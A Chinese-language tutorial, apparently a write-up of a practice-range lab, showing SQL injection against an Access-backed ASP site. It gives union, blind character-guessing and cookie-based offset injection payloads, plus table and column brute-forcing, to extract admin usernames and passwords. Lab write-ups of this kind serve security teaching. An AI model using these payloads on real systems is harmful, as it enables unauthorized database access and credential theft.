目錄
前言
我前面寫的大部分都是基於MySQL數據庫下的注入,然而在其他數據庫也是可以使用的
本章章取材來自 墨者學院靶場
正文
0x01 :access數據庫介紹
這只是個簡單的介紹,access裏不存在庫這個概念,所以是直接查表,然而表沒有自帶的,所以只能進行爆破
就是猜,全靠猜~~~
0x02 :Access——union注入
1)猜表
因爲Access沒有庫,所以只能直接使用order by 來判斷字段數
這裏我判斷後,字段爲4。於是直接寫了 payload
http://219.153.49.228:49151/new_list.asp?id=1 and 1=2 union select 1,2,3,4 from admin
可能會問admin怎麼知道的,其實就是猜的,也可以收集一些常用的表名,然後burp抓包進行爆破
一般user,admin 等等比較多
2)猜字段(查數據)
根據上面已經猜解出了admin表,然而這也是我們想要的
然後就是猜解字段,沒錯,字段也是要猜的~~~
字段常用的,user,admin,username,password,pwd,name,passwd
猜一猜,敲了猜到了是username,靶場總不會太難的。在實戰中,就不一樣了
?id=1 and 1=2 union select 1,username,3,4 from admin
但是這邊我們有 2 個回顯點,2和3.所以可以再3這邊猜密碼
經過一系列的猜解
?id=1 and 1=2 union select 1,username,passwd,4 from admin
最後密碼爲passwd
然後union注入就這樣了。靶場簡單,但是實戰中就不一樣了,能猜到表名就運氣好了,能猜到字段名,運氣就炸天了
0x02 Access——逐字猜解注入
1)猜表
這裏涉及到了個新函數
exists():校驗是否存在數據,存在則頁面正常,不存在則頁面報錯
可以看看這裏的一篇文章
這時候 我們構造payload
?id=1 and exists(select * from admin)
如果admin這個表存在的話,則返回正常頁面
如果不存在的話,返回錯誤頁面。通過查看下面兩圖就知道了
admin表存在
2)猜字段
猜字段名的話也就是按照SQL語句一樣
select 字段 from 表
所以我們猜測字段爲username(不要問我爲什麼,上面union注入已經弄了一遍了~)
?id=1 and exists(select username from admin)
這時候發現頁面正常,這時候我們就要爆數據了
3)判斷長度
這個其實跟盲注差不多手法(這裏我突然想寫個腳本了~)
首先判斷第一條數據長度
?id=1 and (select top 1 len(username) from admin)=4
這時候頁面回顯正常,當等於5的時候錯誤,說明爲長度爲4
4)查詢數據
這時候就可以查詢數據了
and (select top 1 asc(mid(username,1,1)) from admin)=109
top 1 就是取前 1 條數據
top 3就是取前3 條數據
mid(字段,截取第幾位,1)
然後對照下ascii表,發現爲m
然後猜解第二位,發現頁面正常,隊友ascii表。發現爲o
?id=1 and (select top 1 asc(mid(username,2,1)) from admin)=111
於是這樣依次下來,就得知 username中的字段爲 moke,然後繼續爆破
也就得出了密碼
0x03:Access —— 偏移注入
接下來就開始進行偏移注入了
第一步
先判斷下最簡單的顯錯注入,結果被過濾了
那就進行偏移注入(表名爆破下就好了,這個是靶場,所以知道表名)
document.cookie=”id=”+escape(“171”)
看看頁面是不是正常,結果顯示正常
在and 1=2判斷下是否報錯
第二步
開始判斷下回顯點
document.cookie=”id=”+escape(“171 order by 10”)
結果發現10正常顯示,11報錯
第三步
因爲這個是access數據庫,所以忽略表名~~~~
document.cookie=”id=”+escape(“171 union select 1,2,3,4,5,6,7,8,9,10 from admin”)
直接看回顯點,這裏表名是必須知道了,不知道的話可以下載個常用表名字典
然後用burp跑包爆破
然後可以看到了回顯點有2,3,7,8,9
結果發現這個171的不行……(尷尬)
略過前面,找那個產品中心的,id=105進行
然後發現105的有26個字段
再次進行偏移注入document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin")
再從右開始,刪除掉佔位符,admin.來代替
`document.cookie=”id=”+escape(“105 union select 1,2,3,4,5,6,7,8,9,10,admin. from admin”)`
發現頁面回顯正確
然後就一直移動
找到這個回顯就可以保留,然後再admin.帶入
document.cookie=”id=”+escape(“105 union select 1,2,3,4,8,9,11,12,13,admin.,15 from admin”)
不會講,就差不多這樣
(聯合查詢要2邊相等)
table_name.代替了這個表的所有字段 (如 admin. 表名.*)
輸出點,有些藏在HTML源碼中
偏移注入用於字段表名無法字段字段名情況
偏移找到一個注入點,並且注入點字段數越多越好
文末
偏移注入是之前寫的,因爲偏移注入太麻煩了,就直接複製了一下
實戰中也是會遇到這種的偏移注入,我也是偶爾會遇到~~~~~
有空再發腳本,嘿嘿